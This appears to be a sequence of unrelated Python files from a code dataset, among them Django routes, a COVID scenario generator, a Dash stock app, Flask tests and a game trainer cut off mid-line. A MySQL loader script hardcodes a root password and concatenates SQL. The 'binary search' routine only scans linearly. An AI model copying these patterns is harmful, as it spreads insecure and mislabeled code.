Change properties for XYZ channels, since now all are available:\n lx.eval(\"item.channel locator$isSize.X \" +str(mysize))\n lx.eval(\"item.channel locator$isSize.Y \" +str(mysize))\n lx.eval(\"item.channel locator$isSize.Z \" +str(mysize))\n\n # Set shape to Circle:\n lx.eval(\"item.channel locator$isShape circle\")\n\n # Change properties for Radius, since now this is available:\n lx.eval(\"item.channel locator$isRadius \" +str(mysize * 0.5))\n\n # Change shape back to the one saved inside our first variable:\n lx.eval(\"item.channel locator$isShape %s\" % originalShape)\n\n # re-select the user selected layers\n for item in selected_layers:\n lx.eval('select.item {%s} add' % item)\n\nexcept:\n lx.out('Exception \"%s\" on line: %d' % (sys.exc_value, sys.exc_traceback.tb_lineno))","sub_path":"eterea_quickLocators/scripts/resize_selected_locators.py","file_name":"resize_selected_locators.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"222686349","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^index$', views.index, name='index'),\n url(r'^anliall$', views.anliall, name='anliall'),\n url(r'^oushi$', views.oushi, name='oushi'),\n url(r'^katong$', views.katong, name='katong'),\n url(r'^zhongshi$', views.zhongshi, name='zhongshi'),\n url(r'^xiandai$', views.xiandai, name='xiandai'),\n url(r'^jianyue$', views.jianyue, name='jianyue'),\n url(r'^about$', views.about, name='about'),\n url(r'^about1$', views.about1, name='about1'),\n url(r'^about2$', views.about2, name='about2'),\n url(r'^about3$', views.about3, name='about3'),\n url(r'^about4$', views.about4, name='about4'),\n url(r'^news$', views.news, name='news'),\n url(r'^news1$', views.news1, name='news1'),\n url(r'^news2$', views.news2, name='news2'),\n url(r'^news3$', views.news3, name='news3'),\n url(r'^jiameng$', views.jiameng, name='jiameng'),\n url(r'^cont$', views.cont, name='cont'),\n url(r'^VR$', views.VR, name='VR'),\n url(r'^VRoushi$', views.VRoushi, name='VRoushi'),\n url(r'^VRbeiou$', views.VRbeiou, name='VRbeiou'),\n url(r'^VRzhongshi$', views.VRzhongshi, name='VRzhongshi'),\n url(r'^VRxiandai$', views.VRxiandai, name='VRxiandai'),\n url(r'^VRmeishi$', views.VRmeishi, name='VRmeishi'),\n url(r'^VRbieshu$', views.VRbieshu, name='VRbieshu'),\n url(r'^VRdizhonghai$', views.VRdizhonghai, name='VRdizhonghai'),\n]","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"62931670","text":"\"\"\"\nMerge List Of Number Into Ranges\n\nThis problem was recently asked by Facebook:\n\nGiven a sorted list of numbers, return a list of strings that represent all of the consecutive numbers.\n\nExample:\nInput: [0, 1, 2, 5, 7, 8, 9, 9, 10, 11, 15]\nOutput: ['0->2', '5->5', '7->11', '15->15']\nAssume that all numbers will be greater than or equal to 0, and each element can repeat.\n\n\n\"\"\"\n\ndef solution(numbers):\n if not numbers:\n return []\n \n ranges = []\n low, high = numbers[0], numbers[0]\n\n for number in numbers:\n if high + 1 < number:\n ranges.append(f\"{low} -> {high}\")\n low = number\n high = number\n ranges.append(f\"{low} -> {high}\")\n return ranges\n\n\nif __name__ == \"__main__\":\n print(solution([0, 1, 2, 5, 7, 8, 9, 9, 10, 11, 15]))","sub_path":"python/daily_interview_pro/202003/20200331.py","file_name":"20200331.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"284262940","text":"\"\"\"\nThe scenario parameter files of the \"philippines\" application \ncan be replicated for the regional philippines applications.\n\nTo do this, run this script.\n\"\"\"\nimport os\nfrom copy import copy\nfrom time import sleep\n\nimport yaml\n\nfrom autumn.settings import Region\n\nSCENARIO_START_TIME = 573 # 26 Jul 2021\n#\n# WORKFORCE_PROP = []\n# BACK_TO_NORMAL_FRACTIONS = []\n# MHS_REDUCTION_FRACTIONS = []\n# SCHOOL_REOPEN_FRACTIONS = []\n\nBASELINE_TARGET_VACC_COVERAGE = .3\nVACCINE_SCENARIOS = {\"extra_coverage_from_baseline_target\": [0., .4]}\nINCREASED_MOBILITY = [0., .3, .5]\nINCREASED_TESTING = [0., .5]\n\n\ndef clear_all_scenarios(region):\n dir_name = region.replace(\"-\", \"_\")\n file_path = f\"../{dir_name}/params/\"\n\n scenario_files = os.listdir(file_path)\n for filename in scenario_files:\n if filename.startswith(\"scenario-\"):\n os.remove(f\"../{dir_name}/params/{filename}\")\n\n\ndef get_greater_scenario_number(region):\n dir_name = region.replace(\"-\", \"_\")\n file_path = f\"../{dir_name}/params/\"\n\n scenario_files = os.listdir(file_path)\n sc_numbers = [\n float(filename.split(\"-\")[1].split(\".yml\")[0])\n for filename in scenario_files\n if filename.startswith(\"scenario-\")\n ]\n\n return int(max(sc_numbers))\n\n\ndef write_all_phl_scenarios(scenario_start_time=SCENARIO_START_TIME):\n clear_all_scenarios(\"philippines\")\n sleep(1.0)\n\n sc_index = 0\n all_scenarios_dict = {}\n\n # # Back to normal in workplaces and other locations\n # for fraction in BACK_TO_NORMAL_FRACTIONS:\n # sc_index += 1\n # all_scenarios_dict[sc_index] = make_back_to_normal_sc_dict(fraction, scenario_start_time)\n #\n # # MHS reduction\n # for fraction in MHS_REDUCTION_FRACTIONS:\n # sc_index += 1\n # all_scenarios_dict[sc_index] = make_mhs_reduction_sc_dict(fraction, scenario_start_time)\n #\n # # School reopening\n # for fraction in SCHOOL_REOPEN_FRACTIONS:\n # sc_index += 1\n # all_scenarios_dict[sc_index] = make_school_reopen_sc_dict(fraction, scenario_start_time)\n\n # Vaccination combined with mobility changes\n for extra_coverage in VACCINE_SCENARIOS[\"extra_coverage_from_baseline_target\"]:\n for increased_mobility in INCREASED_MOBILITY:\n for increased_testing in INCREASED_TESTING:\n if extra_coverage == 0. and increased_mobility == 0. and increased_testing == 0.:\n continue # this is the baseline scenario\n sc_index += 1\n all_scenarios_dict[sc_index] = make_vaccination_and_increased_mobility_and_increased_testing_sc_dict(\n extra_coverage, increased_mobility, increased_testing, scenario_start_time\n )\n\n # dump scenario files\n for sc_i, scenario_dict in all_scenarios_dict.items():\n print(f\"Scenario {sc_i}: {scenario_dict['description']}\")\n\n file_path = f\"params/scenario-{sc_i}.yml\"\n with open(file_path, \"w\") as f:\n yaml.dump(scenario_dict, f)\n\n\ndef initialise_sc_dict(scenario_start_time):\n return {\n \"time\": {\"start\": scenario_start_time},\n }\n\n\ndef make_back_to_normal_sc_dict(fraction, scenario_start_time):\n sc_dict = initialise_sc_dict(scenario_start_time)\n perc = int(100 * fraction)\n sc_dict[\"description\"] = f\"{perc}% return to normal (work and other locations)\"\n\n sc_dict[\"mobility\"] = {\n \"mixing\": {\n \"work\": {\n \"append\": True,\n \"times\": [scenario_start_time],\n \"values\": [[\"close_gap_to_1\", fraction]],\n },\n \"other_locations\": {\n \"append\": True,\n \"times\": [scenario_start_time],\n \"values\": [[\"close_gap_to_1\", fraction]],\n },\n }\n }\n\n return sc_dict\n\n\ndef make_mhs_reduction_sc_dict(fraction, scenario_start_time):\n sc_dict = initialise_sc_dict(scenario_start_time)\n perc = int(100 * fraction)\n sc_dict[\"description\"] = f\"Reduction in MHS by {perc}%\"\n\n sc_dict[\"mobility\"] = {\n \"microdistancing\": {\n \"behaviour\": {\n \"parameters\": {\n \"times\": [scenario_start_time - 1, scenario_start_time],\n \"values\": [1.0, 1.0 - fraction],\n }\n }\n }\n }\n\n return sc_dict\n\n\ndef make_school_reopen_sc_dict(fraction, scenario_start_time):\n sc_dict = initialise_sc_dict(scenario_start_time)\n perc = int(100 * fraction)\n sc_dict[\"description\"] = f\"{perc}% of schools reopen\"\n\n sc_dict[\"mobility\"] = {\n \"mixing\": {\n \"school\": {\n \"append\": False,\n \"times\": [scenario_start_time - 1, scenario_start_time],\n \"values\": [0.0, fraction],\n },\n }\n }\n\n return sc_dict\n\n\ndef make_vaccination_and_workforce_sc_dict(coverage, prop_workforce, scenario_start_time):\n sc_dict = initialise_sc_dict(scenario_start_time)\n perc_coverage = int(100 * coverage)\n perc_workforce = int(100 * prop_workforce)\n\n sc_dict[\n \"description\"\n ] = f\"{perc_coverage}% vaccine coverage / {perc_workforce}% onsite workers\"\n\n sc_dict[\"vaccination\"] = {\n \"roll_out_components\": [\n {\n \"supply_period_coverage\": {\n \"coverage\": coverage,\n \"start_time\": scenario_start_time,\n \"end_time\": 731, # end of year 2021\n }\n }\n ],\n }\n\n sc_dict[\"mobility\"] = {\n \"mixing\": {\n \"work\": {\n \"append\": True,\n \"times\": [scenario_start_time - 1, scenario_start_time + 1],\n \"values\": [[\"repeat_prev\"], prop_workforce],\n },\n }\n }\n\n return sc_dict\n\n\ndef make_vaccination_and_increased_mobility_and_increased_testing_sc_dict(\n extra_coverage, increased_mobility, increased_testing, scenario_start_time\n):\n sc_dict = initialise_sc_dict(scenario_start_time)\n perc_coverage = int(100 * (extra_coverage + BASELINE_TARGET_VACC_COVERAGE))\n perc_increase_mobility = int(100 * increased_mobility)\n perc_increase_testing = int(100 * increased_testing)\n\n mobility_description = f\"{perc_increase_mobility}% increased mobility\" if perc_increase_mobility > 0. else \"baseline mobility\"\n testing_description = f\"{perc_increase_testing}% increased testing\" if perc_increase_testing > 0. else \"baseline testing\"\n\n sc_dict[\n \"description\"\n ] = f\"{perc_coverage}% vaccine coverage / {mobility_description} / {testing_description}\"\n\n if extra_coverage > 0.:\n sc_dict[\"vaccination\"] = {\n \"roll_out_components\": [\n {\n \"supply_period_coverage\": {\n \"coverage\": extra_coverage + BASELINE_TARGET_VACC_COVERAGE,\n \"start_time\": scenario_start_time,\n \"end_time\": 731, # end of year 2021\n }\n }\n ],\n }\n if increased_mobility > 0.:\n sc_dict[\"mobility\"] = {\n \"mixing\": {\n \"work\": {\n \"append\": True,\n \"times\": [scenario_start_time - 1, scenario_start_time + 1],\n \"values\": [[\"repeat_prev\"], [\"scale_prev\", 1. + increased_mobility]],\n },\n \"other_locations\": {\n \"append\": True,\n \"times\": [scenario_start_time - 1, scenario_start_time + 1],\n \"values\": [[\"repeat_prev\"], [\"scale_prev\", 1. + increased_mobility]],\n },\n }\n }\n\n if increased_testing > 0.:\n sc_dict['testing_to_detection'] = {\n 'test_multiplier': {\n 'times': [scenario_start_time - 1, scenario_start_time + 1],\n 'values': [1., 1. + increased_testing]\n }\n }\n\n return sc_dict\n\n\ndef read_all_phl_scenarios():\n \"\"\"\n Read all the scenarios defined for the \"philippines\" application\n :return: a dictionary containing all the scenario parameters\n \"\"\"\n scenario_param_dicts = {}\n\n param_files = os.listdir(\"params/\")\n for filename in param_files:\n if filename.startswith(\"scenario-\"):\n file_path = f\"params/{filename}\"\n with open(file_path) as file:\n sc_dict = yaml.load(file)\n\n scenario_param_dicts[filename] = sc_dict\n\n return scenario_param_dicts\n\n\ndef copy_scenarios_to_phl_regions():\n \"\"\"\n Replicate all scenarios defined for the \"philippines\" application to the three regional applications\n :return:\n \"\"\"\n scenario_param_dicts = read_all_phl_scenarios()\n\n for region in Region.PHILIPPINES_REGIONS:\n if region == \"philippines\":\n continue\n dir_name = region.replace(\"-\", \"_\")\n\n clear_all_scenarios(region)\n sleep(1.0)\n\n for filename, sc_dict in scenario_param_dicts.items():\n region_scenario_param = copy(sc_dict)\n file_path = f\"../{dir_name}/params/{filename}\"\n with open(file_path, \"w\") as f:\n yaml.dump(region_scenario_param, f)\n\n\nif __name__ == \"__main__\":\n\n # Update scenarios for the Philippines app\n write_all_phl_scenarios()\n\n # Copy scenarios from philippines to sub-regions\n copy_scenarios_to_phl_regions()\n","sub_path":"autumn/projects/covid_19/philippines/philippines/phl_utils.py","file_name":"phl_utils.py","file_ext":"py","file_size_in_byte":9367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"252845061","text":"# Binary Search with user function and Dynamic input\n\n#Defining the function binary_Search\ndef binary_Search(a,s):\n high = len(a)\n low = 0\n mid = (low+high)//2\n a.sort()\n if s not in a:\n print('Element not found in the array!!')\n elif a[mid] == s:\n print(f'Element found at index {mid}')\n elif s < a[mid]:\n for i in range(low,mid):\n if a[i] == s:\n print(f'Element found at index {i}')\n break\n else:\n for i in range (mid, high):\n if a[i] == s:\n print(f'Element found at index {i}')\n break\n\n\n\n#Taking the input from the user :\n\nn = int(input('Enter the size of the array : '))\narr = []\nprint(\"Enter the elements of the array\")\nfor i in range(n):\n x = int(input())\n arr.append(x)\n\n#Asking the user for the element to search\nse = int(input('Enter the element you want to search'))\n\n#calling the function\nbinary_Search(arr,se)\n","sub_path":"Binary Search with User defined function and Dynamic input.py","file_name":"Binary Search with User defined function and Dynamic input.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"594318274","text":"#!/usr/bin/env python\n\nimport unittest\nfrom mock import patch\nfrom mock import MagicMock\n\nfrom flask import request\nfrom StringIO import StringIO\nfrom src.app import espaweb\nfrom src.mocks import app as mock_app\nfrom src.utils import User\n\n\nclass ApplicationTestCase(unittest.TestCase):\n\n def setUp(self):\n self.app = espaweb.test_client()\n self.app.testing = True\n self.default_sceneid = 'LE70270292003144EDC00'\n self.form_order = mock_app.form_order\n\n user_parms = {'email': 'foo@gmail.com',\n 'username': 'foo',\n 'wurd': 'bar',\n 'roles': ['staff']}\n\n self.user = User(**user_parms)\n\n with espaweb.test_client() as c:\n with c.session_transaction() as sess:\n sess['logged_in'] = True\n sess['user'] = self.user\n\n self.client = c\n\n def tearDown(self):\n pass\n\n def test_login_get(self):\n result = self.app.get('/login')\n self.assertEqual(result.status_code, 200)\n self.assertTrue('Ordering Interface ' in result.data)\n\n @patch('src.app.api_get', mock_app.api_get_user)\n @patch('src.app.update_status_details', mock_app.update_status_details_true)\n def test_login_post_success(self):\n data_dict = {'username': self.user.username, 'password': self.user.wurd}\n result = self.app.post('/login', data=data_dict)\n # successful login redirects to /index\n self.assertTrue(\">/index/\" in result.data)\n self.assertEqual(result.status_code, 302)\n\n @patch('src.app.api_get', mock_app.api_get_user_fail)\n def test_login_post_fail(self):\n data_dict = {'username': self.user.username, 'password': self.user.wurd}\n result = self.client.post('/login', data=data_dict)\n self.assertEqual(result.status_code, 401)\n\n def test_get_logout(self):\n result = self.client.get('/logout')\n # results in a redirect to the login page\n self.assertTrue(\">/login\" in result.data)\n self.assertEqual(result.status_code, 302)\n\n def test_get_index(self):\n result = self.client.get('/index/')\n self.assertTrue(\"ESPA - LSRD\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n def test_get_new_order(self):\n result = self.client.get(\"/ordering/new/\")\n self.assertTrue(\"

New Bulk Order

\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_up', mock_app.api_post_order)\n def test_submit_order_post_success(self):\n data = self.form_order\n data['input_product_list'] = (StringIO(self.default_sceneid), 'in.txt')\n result = self.client.post(\"/ordering/submit/\",\n content_type='multipart/form-data',\n data=data)\n self.assertTrue(\"/ordering/order-status/bob@google.com-03072016-085432/\" in result.data)\n self.assertEqual(result.status_code, 302)\n\n @patch('src.app.api_get', mock_app.api_get_list_orders)\n def test_get_list_orders(self):\n result = self.client.get(\"/ordering/status/\")\n self.assertTrue(\"ESPA - ESPA Reports \" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_get', mock_app.api_get_order_status)\n def test_get_view_order(self):\n result = self.client.get(\"/ordering/order-status/bob@google.com-12345-9876/\")\n self.assertTrue(\"Details for: bob@google.com-12345-9876\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_get', mock_app.api_get_reports)\n def test_get_list_reports(self):\n result = self.client.get(\"/reports/\")\n self.assertTrue(\"ESPA - ESPA Reports\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_get', mock_app.api_get_show_report)\n def test_get_show_report(self):\n result = self.client.get(\"/reports/orders_counts/\")\n self.assertTrue(\"<h4>orders_counts Report</h4>\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_get', mock_app.api_get_stats_all)\n def test_get_console(self):\n result = self.client.get(\"/console\")\n self.assertTrue(\"<h4>ESPA Console</h4>\" in result.data)\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.update_status_details', mock_app.update_status_details_true)\n @patch('src.app.api_up', mock_app.api_post_status)\n def test_post_statusmsg(self):\n data = {'display_system_message': 'on', 'system_message_title': 'foo',\n 'system_message_body': 'bar'}\n result = self.client.post(\"/console/statusmsg\", data=data)\n self.assertTrue(\"<p>You should be redirected automatically to target URL: \"\n \"<a href=\\\"/index/\\\">/index/</a>\" in result.data)\n self.assertEqual(result.status_code, 302)\n\n @patch('src.app.api_get', mock_app.api_get_system_config)\n def test_get_console_config(self):\n result = self.client.get(\"/console/config\")\n self.assertEqual(result.status_code, 200)\n\n @patch('src.app.api_get', mock_app.api_get_rss_feed)\n def test_get_rss_feed(self):\n result = self.client.get(\"/ordering/status/bob@gmail.com/rss/\")\n self.assertEquals(result.status_code, 200)\n\n\n\n\n\n\n\n\n\n","sub_path":"test/test_web_transport.py","file_name":"test_web_transport.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"548793817","text":"from datetime import datetime, timedelta\r\n\r\nimport dash\r\nimport dash_bootstrap_components as dbc\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport numpy as np\r\nimport pandas as pd\r\nimport plotly.graph_objs as go\r\nimport settings\r\nimport stock_info\r\nfrom dash.dependencies import Input, Output\r\nfrom future_value import get_future_value\r\nfrom pandas_datareader import data as web\r\nfrom stock_evaluation import get_stock_evaluation\r\nfrom stock_list import combine_stock_list\r\n\r\nBULL_LOGO = \"static/img/bull.png\"\r\nBEAR_LOGO = \"static/img/bear.png\"\r\n\r\nstart_date = datetime.now() - timedelta(days=365)\r\nend_date = datetime.now()\r\nstocks = combine_stock_list()\r\n\r\nnavbar = dbc.Navbar(\r\n [\r\n html.A(\r\n dbc.Row(\r\n [\r\n dbc.Col(html.Img(src=BULL_LOGO, height=\"40px\")),\r\n dbc.Col(dbc.NavbarBrand(\"VALUE STOCK ANALYSIS\", className=\"ml-2\")),\r\n dbc.Col(html.Img(src=BEAR_LOGO, height=\"40px\")),\r\n ],\r\n align=\"center\",\r\n no_gutters=True,\r\n ),\r\n href=\"#\",\r\n ),\r\n dbc.NavbarToggler(id=\"navbar-toggler\"),\r\n ],\r\n color=\"dark\",\r\n dark=True,\r\n)\r\n\r\nbody = dbc.Container(\r\n [\r\n dbc.Row(\r\n [\r\n dbc.Col(\r\n [\r\n html.H5('Choose a Stock'),\r\n dcc.Dropdown(\r\n id='stock-list',\r\n options= stocks,\r\n value='GOOG'\r\n ),\r\n html.Br(),\r\n html.H5('Select a Date Range'),\r\n dcc.DatePickerRange(\r\n id='date-picker-range',\r\n start_date=datetime(start_date.year,start_date.month,start_date.day),\r\n end_date=datetime(end_date.year,end_date.month,end_date.day),\r\n calendar_orientation='vertical',\r\n ),\r\n dcc.Graph(id='stock-graph'),\r\n \r\n html.Div(id='financial-reports'),\r\n html.H5('Stock Evaluation'),\r\n html.Div(id='stock-evaluation'),\r\n html.Br(),\r\n \r\n html.H5('Future/Current Value and Recommendation'),\r\n html.Div(id='future-value'),\r\n ]\r\n ),\r\n ]\r\n )\r\n ],\r\n className=\"mt-4\",\r\n)\r\n\r\napp = dash.Dash(\r\n __name__, \r\n external_stylesheets=[dbc.themes.BOOTSTRAP],\r\n static_folder='static',\r\n csrf_protect=False\r\n )\r\n\r\nserver = app.server\r\n\r\napp.title = 'Value Stock Analysis'\r\napp.layout = html.Div([navbar, body])\r\n\r\n@app.callback(Output('stock-graph', 'figure'), \r\n [\r\n Input('stock-list', 'value'), \r\n Input('date-picker-range', 'start_date'), \r\n Input('date-picker-range', 'end_date')\r\n ])\r\n\r\ndef update_graph(symbol, start_date, end_date):\r\n stock_prices = web.DataReader(symbol, data_source='yahoo', start=start_date, end=end_date)\r\n\r\n adj_close = go.Scatter(\r\n x = stock_prices.index,\r\n y = stock_prices['Adj Close'],\r\n name = 'Adj Close'\r\n )\r\n exp_20_days = go.Scatter(\r\n x = stock_prices.index,\r\n y = stock_prices['Adj Close'].ewm(span=20, adjust=False).mean(),\r\n name = '20 Days EMA'\r\n )\r\n exp_50_days = go.Scatter(\r\n x = stock_prices.index,\r\n y = stock_prices['Adj Close'].ewm(span=50, adjust=False).mean(),\r\n name = '50 Days EMA'\r\n )\r\n \r\n\r\n data = [adj_close, exp_20_days, exp_50_days]\r\n \r\n layout = go.Layout(\r\n yaxis=dict(\r\n title='Adj Close'\r\n ),\r\n )\r\n return{\r\n 'data': data,\r\n 'layout': layout\r\n }\r\n\r\n@app.callback(Output('financial-reports', 'children'), [Input('stock-list', 'value')])\r\ndef update_table(symbol):\r\n stock_info.get_stock_info(symbol)\r\n df_financial_reports = stock_info.combine_financial_reports()\r\n df_financial_reports = df_financial_reports.loc[:, ~df_financial_reports.columns.str.contains('^Unnamed')]\r\n return dbc.Table.from_dataframe(df_financial_reports, striped=True, bordered=True, hover=False, index=True)\r\n\r\n@app.callback(Output('stock-evaluation', 'children'), [Input('financial-reports', 'children')])\r\ndef update_table(symbol):\r\n evaluations = get_stock_evaluation()\r\n\r\n if(any(evaluations)): # if any reason exists\r\n return html.Span(\r\n html.H5(\r\n [\r\n dbc.Badge(evaluation, pill=True, color=\"danger\", className=\"mr-1\") for evaluation in evaluations\r\n ]\r\n )\r\n )\r\n else:\r\n return html.H5(dbc.Badge(\"GOOD\", pill=True, color=\"success\", className=\"mr-1\"))\r\n\r\n@app.callback(Output('future-value', 'children'), [Input('financial-reports', 'children')])\r\ndef update_table(symbol):\r\n future_value = get_future_value()\r\n return dbc.Table.from_dataframe(future_value, striped=True, bordered=True, hover=False, index=True)\r\n\r\nif __name__ == '__main__':\r\n app.run_server(debug=True)\r\n","sub_path":"dash_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"645368945","text":"# -*- coding: utf-8 -*-\nfrom openregistry.lots.core.utils import (\n json_view,\n context_unpack,\n APIResource,\n)\nfrom openregistry.lots.core.utils import (\n oplotsresource, apply_patch, save_lot\n)\nfrom openregistry.lots.loki.utils import (\n process_caravan_contract_report_result\n)\nfrom openregistry.lots.loki.validation import (\n validate_contracts_data,\n)\npatch_validators = (\n validate_contracts_data\n)\n\n\n@oplotsresource(name='loki:Lot Contracts',\n collection_path='/lots/{lot_id}/contracts',\n path='/lots/{lot_id}/contracts/{contract_id}',\n _internal_type='loki',\n description=\"Lot related contracts\")\nclass LotContractResource(APIResource):\n\n @json_view(permission='view_lot')\n def collection_get(self):\n \"\"\"Lot Contract List\"\"\"\n collection_data = [i.serialize(\"view\") for i in self.context.contracts]\n return {'data': collection_data}\n\n @json_view(permission='view_lot')\n def get(self):\n \"\"\"Lot Contract Read\"\"\"\n contract = self.request.validated['contract']\n return {'data': contract.serialize(\"view\")}\n\n @json_view(content_type=\"application/json\", permission='upload_lot_contracts', validators=patch_validators)\n def patch(self):\n \"\"\"Lot Contract Update\"\"\"\n apply_patch(self.request, save=False, src=self.request.context.serialize())\n if self.request.authenticated_role == 'caravan':\n process_caravan_contract_report_result(self.request)\n if save_lot(self.request):\n self.LOGGER.info(\n 'Updated lot contract {}'.format(self.request.context.id),\n extra=context_unpack(self.request, {'MESSAGE_ID': 'lot_contract_patch'})\n )\n return {'data': self.request.context.serialize(\"view\")}\n","sub_path":"openregistry/lots/loki/views/lot_contracts.py","file_name":"lot_contracts.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"198769735","text":"def word_count(s):\n word_count = {}\n for word in s:\n word_count.setdefault(word, 0)\n word_count[word] += 1\n return word_count\n\ninput_text = open('read_files/moby_clean.txt', 'r')\ns = input_text.read().split()\ninput_text.close()\n\nlst_count = list(word_count(s).items())\nlst_count.sort(key=lambda i: i[1])\n\nprint('most popular:')\nfor i in range(len(lst_count) - 1, len(lst_count) - 6, -1):\n print(lst_count[i])\n\nprint('\\nleast popular:')\nfor i in range(0, 5):\n print(lst_count[i])\n","sub_path":"lesson_10/moby_stat.py","file_name":"moby_stat.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"365540864","text":"import pokedex_API\n\ndef output(search_result: dict) -> None:\n hp = attack = defense = speed = None\n type = ''\n \n list_of_stats = search_result['stats'] #stores a list of dictionaries containing stats\n list_of_types = search_result['types'] #stores a list of dictionaries containing types\n \n for stat in list_of_stats: #stat is an individual dictionary\n if stat['stat']['name'] == 'hp':\n hp = str(stat['base_stat'])\n elif stat['stat']['name'] == 'attack':\n attack = str(stat['base_stat'])\n elif stat['stat']['name'] == 'defense':\n defense = str(stat['base_stat'])\n elif stat['stat']['name'] == 'speed':\n speed = str(stat['base_stat'])\n \n for t in list_of_types:\n type += t['type']['name'] + ', '\n \n print('Pokemon: ' + search_result['name'])\n print('Type: ' + type[:-2])\n print('Weight: ' + str(search_result['weight']) + ' kg') \n print('HP: ' + hp) \n print('Attack: ' + attack)\n print('Defense: ' + defense)\n print('Speed: ' + speed + '\\n')\n\n \ndef input_number() -> list:\n number = int(input(\"Enter Dex Number: \"))\n return number\n\ndef final() -> None:\n while True:\n result = pokedex_API.get_result(pokedex_API.build_v2_url(input_number()))\n output(result)\n\nif __name__ == '__main__':\n final()\n","sub_path":"pokedex_UI.py","file_name":"pokedex_UI.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"514369127","text":"import os\nimport MySQLdb\nimport time\nfrom warnings import filterwarnings\n\n# Open database connection\ndb = MySQLdb.connect(\"localhost\",\"root\",\"4oq5ue2hw\",\"db\" )\ncursor = db.cursor()\nfilterwarnings('ignore', category = db.Warning)\n\n# declare variables\nrelative_path = \"/Users/andy/Desktop/andar/andar\"\n\ndef csvList():\n path = relative_path + \"/\"\n array = []\n for file in os.listdir(path):\n if file.endswith(\".csv\"):\n # print(file.replace(\"_spider.py\", \"\"))\n array.append(file.replace(\".csv\",\"\"))\n return array\n\ndef insert_data(csv):\n sql = \"LOAD DATA LOCAL INFILE '\" + relative_path + \"/\" + csv + \".csv' INTO TABLE \" + csv + \" FIELDS TERMINATED BY ',' IGNORE 1 ROWS;\"\n cursor.execute(sql)\n print(\"Data uploaded in SQL for \" + csv)\n #commit the data\n db.commit()\n\n#get list of csv\ncsv_list = csvList()\n\n# upload to SQL (NOT WORKING/ SKIPPING THIS FOR LOOP)!!!!\nfor csv in csv_list:\n insert_data(csv)\n","sub_path":"scraper3/modules/upload_all.py","file_name":"upload_all.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"631962812","text":"import collections\nimport random\nimport pickle\nimport numpy as np\nimport time\nfrom copy import copy\n\nfrom filelock import FileLock\n\n\n\nfrom xo_game.techniques import monte_carlo_tree_play\nfrom xo_game.techniques import monte_carlo_tree_search_uct_with_value\nfrom xo_game.games.tic_tac_toe_x import TicTacToeXGameSpec\nfrom xo_game.techniques import min_max_alpha_beta\n\nstate_results = collections.defaultdict(float)\nstate_samples = collections.defaultdict(float)\nstate_values = collections.defaultdict(float)\n\nstate_results_old = collections.defaultdict(float)\nstate_samples_old = collections.defaultdict(float)\nstate_values_old = collections.defaultdict(float)\n\nlock = FileLock(\"mont_state_results.lock\")\n\nwith lock:\n with open('mont_state_results.p', mode='rb') as f:\n state_results = pickle.load(f)\n with open('mont_state_samples.p', mode='rb') as f:\n state_samples = pickle.load(f)\n with open('mont_state_values.p', mode='rb') as f:\n state_values = pickle.load(f)\n\nstate_results_old = copy(state_results)\nstate_samples_old = copy(state_samples)\nstate_values_old = copy(state_values)\n\n# state_samples2 = dict(state_samples)\n# for x in state_samples2:\n# if state_samples[x] == 0:\n# del state_samples[x]\n\n\n# model = gen_model()\n# model.load_weights(filepath='value_network_keras')\n\ngame_spec = TicTacToeXGameSpec(winning_length=5, board_size=10)\n\n\ndef make_move_min_max(board_state, side):\n start_time = time.time()\n move = min_max_alpha_beta(game_spec, board_state, side, 2)[1]\n end_time = time.time()\n # print(move, side, end_time - start_time, 'minimax')\n return move\n\n\ndef make_move_min_max_train(board_state, side):\n move = min_max_alpha_beta(game_spec, board_state, side, 1)[1]\n return move\n\n\n# def value_func(board_state):\n# result = model.predict(np.array(board_state).reshape(1, 10, 10, 1))\n#\n# return result\n\n\ndef make_move_network_train(board_state, side):\n start_time = time.time()\n avg_result, move = monte_carlo_tree_search_uct_with_value(game_spec, board_state, side, 0.7,\n state_results, state_samples,\n make_move_min_max_train)\n end_time = time.time()\n # print(move, side, end_time - start_time, 'montecarlo', avg_result)\n return move\n\n\ndef make_move_network(board_state, side):\n start_time = time.time()\n move = monte_carlo_tree_play(game_spec, board_state, side,\n state_results, state_samples, make_move_min_max_train)\n end_time = time.time()\n # print(move, side, end_time - start_time, 'montecarlo')\n return move\n\n\nresults = []\nnum = 0\nwhile True:\n # randomize if going first or second\n if bool(random.random() > 0.5):\n reward = -game_spec.play_game(make_move_min_max, make_move_network_train)\n else:\n reward = game_spec.play_game(make_move_network_train, make_move_min_max)\n\n results.append(1 if reward > 0 else 